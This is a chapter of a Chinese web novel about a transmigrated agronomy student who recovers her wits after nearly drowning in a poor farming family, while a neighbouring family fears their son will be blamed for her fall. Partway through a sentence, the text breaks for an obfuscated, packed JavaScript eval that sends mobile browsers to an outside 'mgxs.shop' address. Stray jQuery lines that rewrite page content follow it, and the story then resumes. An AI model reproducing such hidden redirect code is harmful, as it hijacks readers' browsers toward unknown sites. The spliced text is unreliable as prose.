“昭昭,我是谁?”
云朗指着自己,紧张兮兮的看向桌边的云昭。
云昭看着面前五官端正、浓眉大眼,皮肤晒成麦色的健壮男子,心下不由得好笑,弯着眼说道“你是……”
乌黑的眼眸中闪过一丝促狭“你是…大福!”
云朗双眼瞪大,欣喜的看向云父云母。
一旁的妻子激动的将他赶走,坐在桌边,一脸期待的看向云昭“昭昭,我呢,我是谁?”
“你是……”
云昭故意拖长了声调,看着神色紧张的云家众人心下一笑。眼看他们一口气提到喉间,头不由自主向后仰去,她不紧不慢的说了出口
“你是秀秀,嫂子!”
“对!对!我是秀秀。”
少女声音清明流利,神色也不似从前一般呆滞无光,乌黑双眸神采奕奕,云父云母看着突然之间不再痴傻的女儿,神色动容,云母更是激动不已,嘤嘤哭了起来。
一向沉稳的云父也偷偷抹了下眼眶,哥哥嫂子更是通红着眼,一眨不眨的看着面前的云昭。
云昭看着屋内的几人,心下暖流淌过,缓缓站起了身。云母擦拭着决堤的泪水,放下袖子之际,察觉到面前的人影,茫然抬头,就见女儿不知何时站在离自己一步之遥的地方,云母正不知如何反应,云昭忽然探身抱住了自己,轻柔的声音在耳畔响起
“娘。”
云母不敢置信的瞪大了眸,怀中传来熟悉的触感,她忽的一把紧紧搂住了女儿,泣不成声。
“好了就好,好了就好。”
云父声音略微颤抖,一脸动容。
云朗和妻子看着面前柔情温馨一幕,相视而顾,露出欣慰的笑容。
没想到,落水竟然意外“治好”了云昭的傻病……
“我回来了。”
低沉的声音在院内响起。闻父、闻母连忙从屋内起身,迎上前去。
“怎么样,人醒了吗?”
闻母看向儿子,焦急问道。
闻晏缓缓抬眸,对上父母着急期盼的神情,缓缓摇了摇头。
“这…哎!”
闻夫人看着他低落的神情,忍不住叹气。
一旁的闻誉看着意志低迷的妻子和儿子,眉头一皱,沉声问道“阿晏,你告诉我,究竟发生了什么事?”
闻晏听到闻誉的质问,面上一僵,眸中闪过一丝不耻。
“乡亲说,云昭落水之时,唯独你站在岸边,神色可疑,难道真是你将她推下水的吗?”
“老爷,你瞎说什么呢!阿晏他不是那样的人!咱们儿子你还不清楚吗?”
闻夫人听到丈夫对儿子的质问,蛾眉蹙起,不可思议的惊呼出声。
闻誉听到妻子的责问,面上露出无奈之色“你可知,现在村上的人怎么说?”
“怎么说?”
闻夫人面上一皱,疑惑看向丈夫。
“他..他们说,闻晏定是不堪忍受云昭的追缠,这才将她推入了水中!”
闻夫人闻言,转身看向一旁的闻晏,神色急切问道
“阿晏,果真如此?”
闻晏看着面前焦急担忧的父母,面上露出一丝难言,片刻之后,他眼睛闭上又……睁开,露出一丝耻辱,薄唇轻启,将昨日之事缓缓吐出。
闻父闻母听到云昭强吻他时,双眸不觉瞪大,闻晏更觉烦躁,面上露出难堪之色。
话说完,夫妻二人一时不知如何反应,脑海中忽的浮现云昭那张触目惊心的脸,不由的同情起来,一时间神色复杂。
直到闻晏抬眸不耐的看向二人,二人相视一眼,眸中露出一丝尴尬。
“这个云昭,就算是傻子,怎么能……”
闻母率先开口,不过说了半句,后面半句却不知如何开口,才能减轻儿子的尴尬,踌躇难言。
饶是闻父见多识广,也不由的当场愣住。听见妻子的话,他略显僵硬的“嗯哼”一声,清了清嗓子说道
“此事…此事也不能完全怪你。”
闻晏、闻母闻言抬头看向他,闻母的目中更是透出一丝殷切。
“老爷,你有办法了?”
“如今之际,只有我去找云二,向他说明此事的来去经过,云二为人正直,不是那不非青红皂白的蛮横之人,倘若云昭真的遭遇不测,只要他的要求合情合理,我们一定满足。若是他……不愿,”
说到最后,闻誉缓缓一笑,看向眉头紧皱的闻晏,沉声说道
“为父便去找县令,自请谢罪,代你受罚。”
“老爷!”
“爹!”
闻晏错愕看向闻父,随即面色一沉,神色坚决说道“爹,一人做事一人当,”
闻晏急忙出声,却见闻父忽的抬起手掌,沉声说道“阿晏,此事虽不是你有意为之,却也与你有关,你怕是难逃瓜葛。你还年轻,还有大好的前途,千万不能蒙上污点,县令清正廉明,定会还你公道。放心,爹不会眼睁睁看着你蒙受冤屈。”
“老爷……”
闻晏看着面前,一脸沉着坚定的闻父,一时百感交集……
……
与闻家焦灼担忧的气氛不同,此时的云家却是一派欢喜、温馨的景象。
一家人坐在堂屋内,围坐在桌边,一脸稀奇的看着中间的云昭,其乐融融,欢声笑语。
云朗看着妹妹,忽的忆起一事,嘴边的笑容收敛,乌黑浓密的眉毛一皱,朗声问道“昭昭,你还记得自己为何落水吗?”
云昭正饶有兴致的听着云母说起儿时的事,闻言不由得一愣。
“落水?”
“对,你为何会掉入湖中,是不是闻晏,他推你了?”
“闻晏?”
云昭怔怔重复着云朗的话。听云朗的意思,原身好像是经历了一场溺水,这才昏迷不醒。
只是,她为何会落水呢?闻晏又是谁?
眉间一皱,她下意识去回想。只是,大脑刚要回忆,忽的传来一阵刺痛,那刺痛甚是强烈,激的她一抖,慌忙捂住了脑袋。
“好疼…”
方才还有说有笑的人,忽然间面色一变,浑身颤抖,云父云母面色一变,连忙奔到云昭身后。
“昭昭,你怎么了?”
“我的头好痛,我..我想不起来了…”
云昭捂着脑袋,神色痛苦。
云母看着女儿的模样,心疼不已,急声说道“不想了,昭昭,咱们不想了。”
说完,她一把将云昭拥入怀中,声音颤抖“你没事就好,想不起来咱们就不想了,好不好?嗯?”
云昭努力回忆,偏偏脑中的神经似被扯住一般,痛的发抖,在即将失去意识之前,她忽的一顿,停止了思考。瘫软的靠在了云母柔软的怀抱当中,虚弱无力说道“我也…不知道,为什么…想不起来……”
对面的云朗早被她的剧烈反应吓了一跳,此时听到这句,神色慌张不已,连忙摆手
“没事!想不起来也没关系!昭昭,你放松,放松,不要去想……”
不知过了多久,大脑剧烈的疼痛渐渐消散,云昭如死里逃生一般,大汗淋漓的倚靠在云母怀中。
几人看着原有说有笑的云昭,一反之前,虚弱无力的模样,不敢再问太多。瞧见云昭精神不好,连忙将她扶起,送进了房间,云昭躺在床上,看着云母温柔的替自己盖上被子,双眼渐渐阖上,沉沉睡去。
“她爹,昭昭她记得从前种种事,偏偏落水一事,却没有丝毫印象,就连…闻晏,好像也全无印象,这..这…是怎么回事?”云母惊疑不定看向云父。
云父同样面色沉重,听到她的话,眉头紧皱,片刻后缓缓说道“忘了也好…这对她来说或许也是一件好事。”
云父边说着,边幽幽叹了口气。
八年前,闻大官人一家归隐还乡,云昭不知为何对那闻晏异常关注,三天两头跟在闻晏身后,劝也劝不住,闹了多少笑话。
如今,云昭恢复神智,从前的记忆大部分都能忆起,偏偏与闻晏有关的事却忘的一干二净,云父心下竟出乎意料的轻松,甚至生起一丝愉悦。
忘了好,忘了好,闻家那小子不是一般人,迟早是要离开这个村庄的。
“娘,阿姑她真的好了吗?”
屋内传来稚嫩软糯的声音。阿秀低头看向趴在床边的儿子,正转过头,扑扇着忽闪忽闪的大眼睛,一脸好奇的看着自己。
“小冬瓜,你阿姑她需要休息,咱们不吵她,乖,等她醒了我们再过来。”说完,阿秀牵着儿子走出屋外。
云昭这一睡,直到第二日的清晨,才揉着眼睛从床上起来。睁开眼,一晃看到所处的小黑屋,还是有几分不惯。
再不愿面对也无法改变穿越的事实,她深深叹了口气,浑身酸痛的从床上爬起。
“娘。”
云昭走到堂屋门外,瞧见云母正站在桌边摆弄着碗筷。听到声音,她转头看向门边,就见云昭正站在门外,面上浮起和蔼的笑容,她连忙在围裙上擦了擦手,走上前来。
“昭昭,你好点了吗?要是还不舒服,再休息休息,娘把饭给你送过去。”
云昭看着温柔慈善的云母,微微一笑,柔声说道“娘,我没事了,你不用担心。”
云母看着她精神抖擞,确实不复昨日模样,也放下了心,搀着她走进屋内,坐到桌边
“昭昭,娘准备了早饭,你先简单吃一些,晚上,娘再杀只鸡,给你补补身子。”
云昭听到云母的话,不由一笑,回了声“哎。”
低头看向桌上的饭食,云昭一愣,只见陈旧发黑的斑驳木桌上,放着一个汤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634201|206504||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
盘,漂浮着大半盆米汁,米粒清晰可数。
一个陶碗中盛着看不清原型,黑糊糊的咸菜,另一个豁口大碗中则是放着几个窝头,黑的,黄的,看上去就梆硬。
“昭昭,来。”
云母声音传来,云昭回神,转头看去。云母将陶碗递到她的手中,云昭端过,低头看去,稀疏米粒裹在浅淡的米汤之中,筷子捞都捞不上几粒。
云昭心下一叹,端起碗送到嘴边,那碗咸菜黑乎乎的,云昭着实不敢下手,只能看向另一只碗中的窝窝头。犹豫着伸出手拿起一个黄色的窝窝头,试探着送到了嘴边。
“硌!”
云昭眉头微蹙,入口仿若咬到坚硬的石头一般,硌的牙疼。一旁的云母并未察觉,忙活着手头的活计。
就着米汤,云昭艰难的咀嚼,看着家徒四壁的云家小屋,内心又是长叹了一口气。
不行,必须得想办法挣钱,提高一家人的生活水平。云昭心下忽的升起强烈意志,想想自己作为21世纪的农学院硕士研究生,导师的一把手,别的不说,种田岂不是手拿把掐的事嘛!
一定要带着云家人发家致富!
云昭捧着陶碗,乌黑的双眸绽放出灼灼光芒。
最后一口米汤喝完,她将碗放下,目光对上碗边不知何时出现的小手,不由得一愣,缓缓转过头去,对上一双乌溜溜的大眼睛。
“阿姑?”
男孩侧着头,一脸疑惑的看向她,小心翼翼开口。
云昭征愣的神情恢复,嘴边缓缓勾起笑容,柔声说道“小冬瓜?你吃早饭了吗?”
“阿阿阿阿阿…姑?”
男孩双眸瞪大,结结巴巴半天说不出一句话。
“慢点说,别着急。”
小冬瓜看着面前笑意盈盈的云昭,深吸了口气,一鼓作气说出了口“阿姑!你好啦!”
“是呀,我好了。”云昭看着面前神色震惊的小冬瓜,眉眼弯起。
“耶!太好了!阿姑好了!”
小冬瓜忽的跳下板凳,举着手在一旁又蹦又跳,看着面前判若两人的云昭,开心不已,阿姑真的不傻了!这下,看谁还敢嘲笑他的阿姑是个傻子!
云母看着堂屋中的二人,面上也露出欣慰的笑容,将鸡食剁好之后,她站起身,将剁好的鸡食倒入,饥肠辘辘的鸡连忙一窝蜂扑了上来。
太阳渐渐升起,云母看了眼天边的日头,心下不免焦急,转头看了眼不远处的云昭和小冬瓜,摘掉了腰间的围裙。
“昭昭……”
云母的声音从身后响起,云昭转头望去,只见云母站在门边,面上露出一丝犹豫。
“娘?”
“昭昭……最近忙着春耕,你爹他们怕是忙不过来,你一个人……可以吗?”云母似有些不好意思,神色有些难为情。
云昭自然知晓她的顾虑,连忙笑着说“娘,你放心去吧,我一个人可以的。”
“哎..哎,那就好,那就好,那我去了。”
看到云昭点头,云母松了口气,转头看向一旁的小冬瓜,温声说道“小冬瓜,在家好好待着,不许乱跑。”
小冬瓜吐了吐舌“知道了,奶奶,我就在家陪着阿姑,哪也不去。”
“昭昭,你在家里歇着啊,娘中午回来做饭。”云母似不放心,又看了眼云昭,仔细叮嘱道。
云昭看着她小心翼翼的神色,心下一暖,从小自己就未曾感受过亲情,可云家人,虽然条件艰苦,却对这个痴傻的女儿甚是关爱,可见这家人确实是极好,极良善的,不免颇为感动,如今自己占了云昭的身子,他们便是自己的亲人。一定要替云昭照顾好他们,“云昭”心下暗暗决定。
“好的,娘,我和小冬瓜在家等你们回来。”
听到云昭的回答,云母面上露出慈爱的笑容,这才转身扛起院中的锄头,向着田间走去。
云昭看着院门打开又阖上,云母的身影消失在门外,缓缓转过头来,与一旁正好奇看着她的小冬瓜相对而视,大眼瞪小眼。
云昭看着圆滚滚,虎头虎脑的小冬瓜,嘴边绽开笑容,弯下身,伸出了自己的手,握成拳的样子朝着小冬瓜伸去。
“多多关照了,小冬瓜。”
小冬瓜看着凑过来的拳头,先是不解的看了一眼,而后看向面前笑意盈盈的云昭,情不自禁的伸出了手,学着云昭的样子抬起。
云昭看着那只握成拳的小手,愣愣的举在半空,不明所以,目中笑意更甚,抬手靠近了那只小小拳头,一大一小的拳头相抵,小冬瓜愣愣的看向面前的阿姑。
只见女子眉眼笑容灿烂,说出一句古怪的话“加油!”
小冬瓜眉头一皱,片刻后,有样学样,缓缓开口“加加..油”
稚嫩的声音响起,云昭看着面前的小冬瓜,笑容越发扬起。